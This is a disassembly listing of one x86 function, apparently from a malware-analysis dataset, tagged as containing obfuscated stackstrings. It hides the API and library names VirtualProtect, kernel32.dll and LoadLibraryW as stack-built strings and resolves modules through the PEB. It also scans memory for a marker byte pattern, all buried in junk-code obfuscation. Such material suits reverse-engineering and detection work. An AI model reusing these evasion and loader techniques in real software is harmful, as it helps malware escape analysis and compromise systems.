Function at 0x40649d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov cl, byte [ebp - 1]
add cl, 1
mov byte [ebp - 1], cl
movzx edx, byte [ebp - 1]
cmp edx, 7
jge 0x4082eb
push esi
or esi, 0x8647
jmp 0x405baa
pop esi
push eax
push ebx
add esp, 4
and eax, 0xc21
sub eax, 0x1b31
pop eax
push edx
push eax
add esp, 4
jmp 0x405bc9
or edx, 0x11361
pop edx
mov byte [ebp - 0x1c8], 0xde
mov byte [ebp - 0x1c7], 0xde
mov byte [ebp - 0x1c6], 0xee
mov byte [ebp - 0x1c5], 0xee
mov byte [ebp - 0x1c4], 0xde
mov byte [ebp - 0x1c3], 0xde
mov byte [ebp - 0x1c2], 0xee
mov byte [ebp - 0x1c1], 0xee
mov byte [ebp - 0x1c0], 0xcc
mov byte [ebp - 0x1bf], 0xcc
mov byte [ebp - 0x1be], 0
push ebx
push ebx
add esp, 4
sub ebx, 0xf6d7
add ebx, 0x9f7f
or ebx, 0xcba
or ebx, 0x6a10
pop ebx
push eax
or eax, 0xb758
add eax, 0xd69e
sub eax, 0x4452
pop eax
mov eax, 1
imul ecx, eax, 0
mov dl, byte [ebp - 1]
mov byte [ebp + ecx - 0x1be], dl
push edx
push edx
add esp, 4
or edx, 0x148e
pop edx
push ebx
push edx
add esp, 4
add ebx, 0xbb4b
pop ebx
push eax
and eax, 0x126fe
call 0x405c8f
add byte [edx + ecx*2 + 0x4c], al
inc esp
dec esi
dec eax
dec eax
dec ebp
inc edi
add esp, 4
pop eax
mov dword [ebp - 0x4b8], 0xb
mov byte [ebp - 0x1a4], 0x8b
mov byte [ebp - 0x1a3], 0xe5
mov byte [ebp - 0x1a2], 0x5d
mov byte [ebp - 0x1a1], 0xc3
push eax
push eax
add esp, 4
xor eax, 0xfc29
or eax, 0x101e
pop eax
push eax
push ecx
add esp, 4
sub eax, 0xdb67
pop eax
push ebx
xor ebx, 0x16a87
xor ebx, 0x12e7c
xor ebx, 0x141c5
pop ebx
mov dword [ebp - 0x4b4], 4
mov dword [ebp - 0x34], 0
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x214], 0
jmp 0x405d2b
mov eax, dword [ebp - 0x214]
add eax, 1
mov dword [ebp - 0x214], eax
push edx
sub edx, 0x15275
call 0x405d41
add byte [esi + 0x32], cl
dec ebp
xor al, 0x3a
dec esi
inc ecx
xor eax, 0x4c48347
xor edx, 0x6135
pop edx
push edx
push eax
add esp, 4
or edx, 0x6149
sub edx, 0x60f6
pop edx
mov ecx, dword [ebp - 0x214]
add ecx, dword [ebp - 0x218]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x22c]
jb 0x405dae
push ecx
call 0x405d87
add byte [esi + esi + 0x3a], al
cmp bh, byte [eax]
dec eax
inc edx
dec esi
inc edi
add esp, 4
or ecx, 0x6c6b
and ecx, 0x9dab
pop ecx
push ebx
push ebx
add esp, 4
xor ebx, 0x11234
sub ebx, 0xf75c
pop ebx
jmp 0x406465
mov dword [ebp - 0x21c], 0xb
mov eax, 1
imul ecx, eax, 0
lea edx, [ebp + ecx - 0x1c8]
mov dword [ebp - 0x2d4], edx
push edi
push ebx
add esp, 4
sub edi, 0x16679
pop edi
push ecx
or ecx, 0x11f1d
add ecx, 0xb20
xor ecx, 0xe80b
add ecx, 0xd2c
pop ecx
push eax
push ebx
add esp, 4
sub eax, 0x8696
pop eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1ac], eax
push eax
push esi
add esp, 4
jmp 0x405e12
pop eax
push edi
push esi
add esp, 4
call 0x405e24
add byte [edx + 0x41], al
inc ecx
aas
inc ebx
dec eax
add esp, 4
and edi, 0x9e84
sub edi, 0x8227
or edi, 0x13c29
pop edi
mov ecx, dword [ebp - 0x2d4]
mov dword [ebp - 0x1a8], ecx
mov dword [ebp - 0x220], 0
push edx
push edi
add esp, 4
and edx, 0x1505e
xor edx, 0x14d65
pop edx
push esi
push ecx
add esp, 4
and esi, 0x705e
jmp 0x405e75
sub esi, 0x40b3
and esi, 0x2765
pop esi
mov edx, dword [ebp - 0x34]
cmp edx, dword [ebp - 0x2d4]
jne 0x405ed0
push eax
push esi
add esp, 4
or eax, 0x2034
pop eax
push eax
push esi
add esp, 4
or eax, 0x176fc
jmp 0x405eaa
pop eax
push esi
or esi, 0xf95c
sub esi, 0xf6bb
add esi, 0x9d16
pop esi
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x2dc], eax
jmp 0x406068
cmp dword [ebp - 0x21c], 0
jle 0x40602a
push edx
and edx, 0x1f38
pop edx
push esi
push ebx
add esp, 4
or esi, 0x90cb
call 0x405efc
add byte [ebx + 0x3f], cl
cmp eax, 0x8348394e
les eax, [eax + ebp*8]
pop es
add byte [eax], al
add byte [eax], al
inc ecx
inc eax
dec ebp
dec edx
inc esp
inc eax
add esp, 4
pop esi
mov ecx, dword [ebp - 0x1ac]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x1a8]
movzx ecx, byte [eax]
cmp edx, ecx
je 0x405f94
push esi
push ecx
add esp, 4
sub esi, 0xd3f0
pop esi
push esi
call 0x405f41
add byte [edi], dh
dec esi
dec edi
cmp al, 0x44
dec ecx
cmp cl, byte [esp + esi - 0x7d]
les eax, [ecx + eax*4]
invalid
push edi
and edi, 0x1712f
pop edi
push edx
push ecx
add esp, 4
and edx, 0xd91e
pop edx
push eax
push edx
add esp, 4
sub eax, 0xe69
sub eax, 0x697b
jmp 0x405fbf
xor eax, 0x1629a
pop eax
mov ecx, dword [ebp - 0x21c]
sub ecx, 1
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x1ac]
add edx, 1
mov dword [ebp - 0x1ac], edx
push esi
push ebx
add esp, 4
call 0x405ff5
add byte [esi + 0x4d], al
cmp al, byte [ebp + 0x38]
dec esp
add esp, 4
pop esi
push esi
push edx
add esp, 4
xor esi, 0x12353
call 0x406012
add byte [eax + 0x46], dl
dec ebp
cmp edi, dword [ebx]
aaa
xor al, 0x43
add esp, 4
pop esi
mov eax, dword [ebp - 0x1a8]
add eax, 1
mov dword [ebp - 0x1a8], eax
jmp 0x405ed0
push ebx
add ebx, 0xc9f
xor ebx, 0x13727
call 0x406047
add byte [0x4c383c4e], dh
inc ecx
cmp al, 0x3b
inc esi
dec ecx
add esp, 4
pop ebx
push edi
push eax
add esp, 4
jmp 0x406055
or edi, 0x3082
pop edi
mov ecx, dword [ebp - 0x220]
mov dword [ebp - 0x2dc], ecx
cmp dword [ebp - 0x2dc], 0
jne 0x406460
push edi
or edi, 0x3651
or edi, 0x6341
jmp 0x406088
jmp 0x406090
pop edi
push edx
and edx, 0xc630
add edx, 0x179bb
pop edx
push ebx
or ebx, 0x131d2
pop ebx
mov edx, dword [ebp - 0x34]
add edx, 0xb
mov dword [ebp - 0x34], edx
push esi
push edi
add esp, 4
xor esi, 0xdecd
add esi, 0x3e8f
or esi, 0x17863
pop esi
push eax
xor eax, 0x13f6
or eax, 0x159c0
sub eax, 0x12594
xor eax, 0x12e1c
pop eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x224], 4
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0x1a4]
mov dword [ebp - 0x2e0], eax
push edx
push ebx
add esp, 4
xor edx, 0x8e55
sub edx, 0x4455
or edx, 0xe42
pop edx
push esi
push edi
add esp, 4
and esi, 0xde51
pop esi
push ebx
or ebx, 0x1eb
or ebx, 0xa5e6
pop ebx
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x1a0], ecx
push edi
or edi, 0x220d
sub edi, 0xd202
xor edi, 0x127a5
pop edi
push ebx
push esi
add esp, 4
sub ebx, 0x9026
and ebx, 0xd084
pop ebx
push edx
push eax
add esp, 4
or edx, 0xa9b2
pop edx
mov edx, dword [ebp - 0x2e0]
mov dword [ebp - 0x19c], edx
mov dword [ebp - 0x228], 0
push ebx
jmp 0x406193
pop ebx
push esi
call 0x4061a2
add byte [eax + 0x4e], al
xor cl, byte [ebx + 0x36]
push eax
inc esp
add esp, 4
call 0x4061b5
add byte [ebx + 0x4c], cl
cmp dword [esi + 0x3b], eax
inc edx
aas
dec eax
dec edi
dec ebp
add esp, 4
add esi, 0x17e0
pop esi
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x2e0]
jne 0x40620d
push eax
and eax, 0xee6a
pop eax
push edx
sub edx, 0x12765
or edx, 0xbf29
jmp 0x4061e7
pop edx
push esi
and esi, 0x16542
and esi, 0x10d75
add esi, 0x77a3
pop esi
mov ecx, dword [ebp - 0x228]
mov dword [ebp - 0x2e8], ecx
jmp 0x4063a5
cmp dword [ebp - 0x224], 0
jle 0x406367
push esi
and esi, 0x12533
jmp 0x406226
pop esi
push esi
or esi, 0x16d19
add esi, 0x4123
or esi, 0xa506
call 0x406248
add byte [ebx + 0x43], cl
aas
cmp al, 0x41
inc esi
add esp, 4
pop esi
mov edx, dword [ebp - 0x1a0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x19c]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4062d1
push edx
and edx, 0x3721
or edx, 0x35b8
add edx, 0x114a8
pop edx
push ecx
push eax
add esp, 4
call 0x40628a
add byte [esp + edi], bh
inc edi
xor al, 0x42
aaa
dec edi
xor al, 0x4c
add esp, 4
xor ecx, 0x116ee
pop ecx
mov eax, dword [ebp - 0x1a0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4062b6
mov dword [ebp - 0x2e4], 1
jmp 0x4062c0
mov dword [ebp - 0x2e4], 0xffffffff
mov ecx, dword [ebp - 0x2e4]
mov dword [ebp - 0x228], ecx
jmp 0x406367
push edi
push edi
add esp, 4
xor edi, 0xf62c
xor edi, 0x118a6
and edi, 0xfa39
pop edi
push edi
call 0x4062f7
add byte [ecx], bh
xor bh, byte [eax]
cmp dword [edx], esi
dec edx
xor eax, dword [ebx + 0x505f04c4]
or eax, 0xf6fe
pop eax
mov edx, dword [ebp - 0x224]
sub edx, 1
mov dword [ebp - 0x224], edx
mov eax, dword [ebp - 0x1a0]
add eax, 1
mov dword [ebp - 0x1a0], eax
push edx
push ecx
add esp, 4
or edx, 0x7464
and edx, 0x6b5c
call 0x406341
add byte [edx + 0x3e], cl
xor esi, dword [0x333d3a44]
inc esp
add esp, 4
pop edx
push eax
xor eax, 0x5caf
xor eax, 0xf5f8
pop eax
mov ecx, dword [ebp - 0x19c]
add ecx, 1
mov dword [ebp - 0x19c], ecx
jmp 0x40620d
push edx
push edx
add esp, 4
add edx, 0x12a05
add edx, 0x13c4d
pop edx
push esi
push ecx
add esp, 4
jmp 0x406384
sub esi, 0x6350
pop esi
push ecx
add ecx, 0x2fad
sub ecx, 0x5a09
pop ecx
mov edx, dword [ebp - 0x228]
mov dword [ebp - 0x2e8], edx
cmp dword [ebp - 0x2e8], 0
je 0x406420
push eax
push edx
add esp, 4
add eax, 0xbb5c
sub eax, 0x2652
pop eax
push eax
push eax
add esp, 4
or eax, 0x14d78
pop eax
push edx
push edi
add esp, 4
add edx, 0x52b8
jmp 0x4063df
pop edx
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
push eax
and eax, 0xa3f2
pop eax
push ebx
push eax
add esp, 4
call 0x406403
add byte [edi + 0x4e], al
aas
xor eax, dword [edx + 0x48]
push eax
add esp, 4
jmp 0x40640e
xor ebx, 0xc7bd
and ebx, 0x18200
pop ebx
jmp 0x4060eb
push ebx
push ecx
add esp, 4
xor ebx, 0x79b6
add ebx, 0x12b4e
add ebx, 0xa247
pop ebx
push edx
push eax
add esp, 4
xor edx, 0x26d1
pop edx
push ecx
sub ecx, 0xba0e
and ecx, 0x10173
pop ecx
mov ecx, dword [ebp - 0x34]
add ecx, 4
mov dword [ebp - 0x328], ecx
jmp 0x406465
jmp 0x405d1c
mov edx, dword [ebp - 0xcc]
cmp edx, dword [ebp - 0x22c]
je 0x4082e6
push ebx
push edi
add esp, 4
add ebx, 0x1085c
add ebx, 0xbcbe
add ebx, 0xa360
call 0x40649d
add byte [edi + 0x39], cl
xor al, 0x34
cmp dword [edx], esi
push eax
inc esp
add esp, 4
pop ebx
push edi
jmp 0x4064a8
pop edi
mov byte [ebp - 0x184], 0x56
mov byte [ebp - 0x183], 0x69
mov byte [ebp - 0x182], 0x72
mov byte [ebp - 0x181], 0x74
mov byte [ebp - 0x180], 0x75
mov byte [ebp - 0x17f], 0x61
mov byte [ebp - 0x17e], 0x6c
mov byte [ebp - 0x17d], 0x50
mov byte [ebp - 0x17c], 0x72
mov byte [ebp - 0x17b], 0x6f
mov byte [ebp - 0x17a], 0x74
mov byte [ebp - 0x179], 0x65
mov byte [ebp - 0x178], 0x63
mov byte [ebp - 0x177], 0x74
mov byte [ebp - 0x176], 0
mov dword [ebp - 0x47c], 0
push esi
jmp 0x406523
pop esi
push ebx
push edx
add esp, 4
jmp 0x406531
sub ebx, 0x14383
and ebx, 0x1709d
pop ebx
push edx
xor edx, 0x1104e
jmp 0x40654d
pop edx
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x1bc], eax
push edx
or edx, 0x14f42
sub edx, 0x12b84
xor edx, 0x13c99
xor edx, 0x3d05
pop edx
push edx
push ecx
add esp, 4
and edx, 0x14c0c
or edx, 0x12146
sub edx, 0xdd9b
pop edx
push ebx
push edx
add esp, 4
add ebx, 0x7d30
and ebx, 0x134f6
add ebx, 0xb87c
or ebx, 0x1d70
pop ebx
push eax
and eax, 0xb096
sub eax, 0xe50a
jmp 0x4065bd
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x3f4], ecx
push edx
call 0x4065d9
add byte [eax + 0x4a], cl
inc ebx
inc esi
push eax
xor eax, 0x4c4834f
pop edx
push ebx
and ebx, 0x89f2
xor ebx, 0x11f62
pop ebx
push eax
push ebx
add esp, 4
xor eax, 0x169a7
add eax, 0x5156
pop eax
mov edx, dword [ebp - 0x3f4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x3f8], eax
push eax
push edx
add esp, 4
jmp 0x40661a
jmp 0x406621
jmp 0x406629
or eax, 0xee14
pop eax
push eax
sub eax, 0x14677
and eax, 0x9d73
pop eax
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x2ec], ecx
cmp dword [ebp - 0x2ec], 0
jne 0x406691
push edx
push edx
add esp, 4
or edx, 0x151eb
call 0x40666e
add byte [edx + 0x35], al
inc edx
cmp al, 0x3d
dec esi
xor eax, 0xc4834139
add al, 0xe8
or eax, dword [eax]
add byte [eax], al
add byte [esi + 0x4a], al
xor al, 0x39
aas
aaa
dec esi
cmp eax, 0xc4833f3a
add al, 0x5a
mov dword [ebp - 0x70], 0
jmp 0x406a1d
push eax
push edi
add esp, 4
call 0x4066a3
add byte [esi + 0x38], cl
cmp cl, byte [edx + 0x37]
inc esp
dec edi
add esp, 4
pop eax
push edi
xor edi, 0x979a
add edi, 0x6463
pop edi
push esi
add esi, 0x9fe9
and esi, 0x5c7a
pop esi
mov edx, dword [ebp - 0x2ec]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x238], ecx
cmp dword [ebp - 0x238], 0
jne 0x40671c
push ecx
call 0x4066ee
add byte [ecx + 0x3e], cl
cmp byte [ecx + ecx*2], bh
xor al, 0x45
dec eax
xor al, 0x83
les eax, [ecx + ebx*2]
push esi
sub esi, 0xad3
sub esi, 0x577
pop esi
push esi
and esi, 0x1604e
pop esi
push eax
xor eax, 0x7825
pop eax
mov dword [ebp - 0x70], 0
jmp 0x406a1d
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0xa0], edx
push ebx
and ebx, 0x16a3c
xor ebx, 0x1098
sub ebx, 0x17928
pop ebx
push edx
push edx
add esp, 4
add edx, 0x113e9
and edx, 0xc85c
or edx, 0x1473b
sub edx, 0x15b72
pop edx
lea eax, [ebp - 0x2b0]
mov dword [ebp - 0x234], eax
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x230], edx
push edi
push edx
add esp, 4
add edi, 0x249e
add edi, 0xff66
and edi, 0x14a81
pop edi
push eax
or eax, 0xe581
xor eax, 0x12ad8
or eax, 0x2b87
and eax, 0x17f5b
pop eax
xor eax, eax
mov word [ebp - 0x60], ax
xor ecx, ecx
mov word [ebp - 0x14], cx
push esi
sub esi, 0x6f6
jmp 0x4067c0
or esi, 0xee77
sub esi, 0x4f92
pop esi
push edi
call 0x4067db
add byte [ecx + 0x48], cl
inc eax
xor al, 0x48
dec esp
dec ebx
add esp, 4
jmp 0x4067e4
pop edi
mov edx, dword [ebp - 0x230]
mov ax, word [edx]
mov word [ebp - 0x1ca], ax
mov ecx, dword [ebp - 0x230]
add ecx, 2
mov dword [ebp - 0x230], ecx
mov dx, word [ebp - 0x1ca]
mov word [ebp - 0x60], dx
push ecx
push ebx
add esp, 4
or ecx, 0x912b
xor ecx, 0x720f
sub ecx, 0xf5e9
and ecx, 0xf988
pop ecx
push ecx
and ecx, 0x2819
xor ecx, 0x104cd
xor ecx, 0x1478f
pop ecx
mov eax, dword [ebp - 0x234]
mov cx, word [eax]
mov word [ebp - 0x1cc], cx
mov edx, dword [ebp - 0x234]
add edx, 2
mov dword [ebp - 0x234], edx
mov ax, word [ebp - 0x1cc]
mov word [ebp - 0x14], ax
push edx
push ebx
add esp, 4
call 0x40687d
add byte [edx], dh
dec edi
dec edx
cmp eax, dword [eax + 0x4f]
inc esp
add esp, 4
call 0x40688d
add byte [edi + 0x3e], al
inc edi
cmp al, 0x32
dec eax
xor eax, dword [ebx - 0x357efb3c]
wait
cmp eax, 0xca810001
jle 0x4068c7
add byte [eax], al
pop edx
movzx ecx, word [ebp - 0x14]
test ecx, ecx
jne 0x4068ba
movzx edx, word [ebp - 0x60]
movzx eax, word [ebp - 0x14]
sub edx, eax
mov dword [ebp - 0x2f4], edx
jmp 0x40693d
movzx ecx, word [ebp - 0x60]
movzx edx, word [ebp - 0x14]
cmp ecx, edx
je 0x4067b3
invalid
movzx eax, word [ebp - 0x60]
xor eax, 0x20
movzx ecx, word [ebp - 0x14]
cmp eax, ecx
je 0x4067b3
push edi
push edx
add esp, 4
and edi, 0x1591a
and edi, 0x979a
pop edi
push ebx
jmp 0x4068f8
pop ebx
push eax
or eax, 0x17fb9
pop eax
push ecx
and ecx, 0x13783
add ecx, 0xeeb0
pop ecx
movzx edx, word [ebp - 0x60]
movzx eax, word [ebp - 0x14]
cmp edx, eax
jge 0x406927
mov dword [ebp - 0x2f0], 0xffffffff
jmp 0x406931
mov dword [ebp - 0x2f0], 1
mov ecx, dword [ebp - 0x2f0]
mov dword [ebp - 0x2f4], ecx
cmp dword [ebp - 0x2f4], 0
jne 0x406986
push eax
push ebx
add esp, 4
and eax, 0x4493
call 0x40695e
add byte [edx], bh
dec ecx
dec edi
inc ebp
cmp dword [eax + 0x37], ecx
add esp, 4
pop eax
push edx
add edx, 0x5111
pop edx
push edi
or edi, 0x6e38
or edi, 0x7412
pop edi
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0x70], edx
jmp 0x406a1d
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
mov dword [ebp - 0xa0], ecx
push edi
xor edi, 0x15b33
add edi, 0xd557
or edi, 0x7932
pop edi
push ebx
push eax
add esp, 4
add ebx, 0x162c
sub ebx, 0x9144
pop ebx
push edi
push edx
add esp, 4
and edi, 0xb564
pop edi
mov edx, dword [ebp - 0xa0]
cmp edx, dword [ebp - 0x238]
je 0x4069e4
mov eax, dword [ebp - 0xa0]
cmp dword [eax + 0x30], 0
jne 0x406728
push esi
push edi
add esp, 4
add esi, 0x134a8
jmp 0x4069f5
or esi, 0xd589
sub esi, 0xd6a7
pop esi
push edi
or edi, 0x6122
add edi, 0x88f4
jmp 0x406a15
pop edi
mov dword [ebp - 0x70], 0
cmp dword [ebp - 0x70], 0
jne 0x4076d3
push ebx
and ebx, 0x13884
add ebx, 0xb048
jmp 0x406a3a
sub ebx, 0x11272
pop ebx
push edi
push edx
add esp, 4
and edi, 0x3df3
or edi, 0x666c
or edi, 0x3a45
pop edi
mov ecx, 0x6b
mov word [ebp - 0x3d8], cx
mov edx, 0x65
mov word [ebp - 0x3d6], dx
mov eax, 0x72
mov word [ebp - 0x3d4], ax
mov ecx, 0x6e
mov word [ebp - 0x3d2], cx
mov edx, 0x65
mov word [ebp - 0x3d0], dx
mov eax, 0x6c
mov word [ebp - 0x3ce], ax
mov ecx, 0x33
mov word [ebp - 0x3cc], cx
mov edx, 0x32
mov word [ebp - 0x3ca], dx
mov eax, 0x2e
mov word [ebp - 0x3c8], ax
mov ecx, 0x64
mov word [ebp - 0x3c6], cx
mov edx, 0x6c
mov word [ebp - 0x3c4], dx
mov eax, 0x6c
mov word [ebp - 0x3c2], ax
xor ecx, ecx
mov word [ebp - 0x3c0], cx
push ebx
push esi
add esp, 4
and ebx, 0xe4a0
and ebx, 0x11ed6
pop ebx
push eax
sub eax, 0x4b54
pop eax
push eax
push edi
add esp, 4
sub eax, 0x619b
or eax, 0xf70a
xor eax, 0x17eb8
pop eax
mov byte [ebp - 0x164], 0x4c
mov byte [ebp - 0x163], 0x6f
mov byte [ebp - 0x162], 0x61
mov byte [ebp - 0x161], 0x64
mov byte [ebp - 0x160], 0x4c
mov byte [ebp - 0x15f], 0x69
mov byte [ebp - 0x15e], 0x62
mov byte [ebp - 0x15d], 0x72
mov byte [ebp - 0x15c], 0x61
jmp dword [ecx - 0x3a]
test dword [ebp + 0x72fffffe], esp
mov byte [ebp - 0x15a], 0x79
mov byte [ebp - 0x159], 0x57
mov byte [ebp - 0x158], 0
push eax
mov dword [ebp - 0x438], eax
push esi
push ebx
add esp, 4
jmp 0x408220
and esi, 0x169b
pop esi
push edx
xor edx, 0xf147
jmp 0x408233
or edx, 0xd8d7
add edx, 0x107cb
pop edx
push edx
add edx, 0x1748
pop edx
pushal
push edi
push esi
add esp, 4
add edi, 0x117b
jmp 0x408259
and edi, 0x9bc4
jmp 0x408267
pop edi
push esi
or esi, 0xfd9e
jmp 0x408274
invalid
or esi, 0x18090
pop esi
call dword [ebp - 0x438]
push edi
push ecx
add esp, 4
or edi, 0x6e17
or edi, 0xebbc
pop edi
push eax
jmp 0x40829a
pop eax
push eax
push ecx
add esp, 4
sub eax, 0x1796a
and eax, 0x1899
add eax, 0x1c4a
pop eax
popal
push edi
push ecx
add esp, 4
and edi, 0x11e81
add edi, 0x84a4
call 0x4082d1
add byte [edi], bh
cmp edi, dword [eax]
inc edi
dec ebx
inc edx
add esp, 4
pop edi
push ecx
call 0x4082e2
add byte [ebx], dh
aas
cmp dword [edi + edi + 0x3a], ecx
add esp, 4
pop ecx
jmp 0x405b88